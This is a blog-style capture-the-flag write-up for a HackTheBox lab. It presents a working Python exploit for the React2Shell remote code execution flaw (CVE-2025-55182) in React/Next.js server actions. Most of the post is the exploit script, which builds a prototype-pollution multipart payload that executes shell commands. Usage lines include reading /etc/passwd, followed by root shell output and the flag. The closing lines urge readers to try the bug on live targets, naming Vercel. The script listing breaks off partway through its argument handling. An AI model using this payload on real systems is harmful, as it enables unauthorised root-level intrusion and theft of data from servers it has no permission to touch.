RETURN_TO_HOME
Getting React2Shell Vulns Under 1 Minute

Practical script for React2Shell vulnerability, covering CVE-2025-55182 and CVE-2025-66478 fastest interaction.
For an overview, I already created tweet/PSA notes.
Now, for an open lab, we’re going to use HackTheBox ReactOOPS:

Target
http://94.237.49.209:50005/
Since we already know it’s vulnerable, we can just fire up our tools. Here is the complete exploit script:
#!/usr/bin/env python3
"""
React2Shell Exploit for covering CVE-2025-55182
"""
import requests
import sys
import argparse
import re
import json
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def create_multipart_body(command):
"""
Generate the exact multipart payload that matches the working PoC
"""
injection = (
f"var res=process.mainModule.require('child_process')"
f".execSync('{command}',{{'timeout':5000}}).toString(). trim();;"
f"throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});"
)
payload_json = json.dumps({
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\\\"then\\\":\\\"$B1337\\\"}",
"_response": {
"_prefix": injection,
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
})
boundary = "----WebKitFormBoundaryx8jO2oVc6SWP3Sad"
body = (
f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
f"Content-Disposition: form-data; name=\"0\"\r\n"
f"\r\n"
f"{payload_json}\r\n"
f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
f"Content-Disposition: form-data; name=\"1\"\r\n"
f"\r\n"
f"\"$@0\"\r\n"
f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\n"
f"Content-Disposition: form-data; name=\"2\"\r\n"
f"\r\n"
f"[]\r\n"
f"------WebKitFormBoundaryx8jO2oVc6SWP3Sad--"
)
return body, boundary
def extract_output(response_text):
"""
Extract command output from RSC response
The output appears in format: 1:E{"digest":"OUTPUT_HERE"}
"""
patterns = [
r'1:E\{"digest":"([^"]*)"\}',
r'"digest":"([^"]*)"',
r'"digest":`([^`]*)`',
r'E\{"digest":"([^"]*)"\}',
]
for pattern in patterns:
match = re.search(pattern, response_text)
if match:
output = match.group(1)
output = output.replace('\\n', '\n')
output = output.replace('\\t', '\t')
output = output.replace('\\r', '\r')
return output
return None
def exploit(target, command, proxy=None, verbose=False):
"""Execute the exploit"""
url = target.rstrip('/')
body, boundary = create_multipart_body(command)
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0",
"Next-Action": "x",
"X-Nextjs-Request-Id": "b5dce965",
"X-Nextjs-Html-Request-Id": "SSTMXm7OJ_g0Ncx6jpQt9",
"Content-Type": f"multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad",
}
proxies = {"http": proxy, "https": proxy} if proxy else None
try:
if verbose:
print(f"[DEBUG] Sending request to {url}")
print(f"[DEBUG] Command: {command}")
response = requests.post(
url,
data=body,
headers=headers,
proxies=proxies,
verify=False,
timeout=15
)
if verbose:
print(f"[DEBUG] Status: {response.status_code}")
print(f"[DEBUG] Response:\n{response.text[:500]}")
output = extract_output(response.text)
if output:
return True, output
else:
return False, f"Could not parse output. Raw response:\n{response.text}"
except requests.exceptions.Timeout:
return False, "Request timed out (command may still have executed)"
except Exception as e:
return False, str(e)
def main():
parser = argparse.ArgumentParser(
description='React2Shell Exploit - CVE-2025-55182',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""
Examples:
python3 CVE-2025-55182.py -t https://dev.target.local -c "id"
python3 CVE-2025-55182.py -t https://dev.target.local -c "cat /etc/passwd"
python3 CVE-2025-55182.py -t https://dev.target.local -i
python3 CVE-2025-55182.py -t https://dev.target.local -c "whoami" -v
"""
)
parser.add_argument('-t', '--target', required=True, help='Target URL')
parser.add_argument('-c', '--command', default='id', help='Command to execute')
parser.add_argument('-p', '--proxy', help='Proxy URL (e.g., http://127.0.0.1:8080)')
Execution
Let’s try with our target:

We got RCE:

And we got into the system with just one interactive command and better TTY experience.
<details> <summary>Click to view text output</summary>react2shell> id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
react2shell> pwd
/app/.next/standalone
react2shell> ls -al
total 32
drwxr-xr-x 1 root root 4096 Dec 5 14:40 .
drwxr-xr-x 1 root root 4096 Dec 5 14:40 ..
drwxr-xr-x 1 root root 4096 Dec 5 14:40 .next
...
react2shell> cat /app/flag.txt
HTB{jus7_1n_c4s3_y0u_m1ss3d_r34ct2sh3ll___cr1t1c4l_un4uth3nt1c4t3d_RCE_1n_R34ct___CVE-2025-55182}
</details>
And we get our flag.
You can try the vulns; it’s actively being hunted by other bug hunters, for example Vercel and others:
Good luck. Hope you guys like it, happy hacking!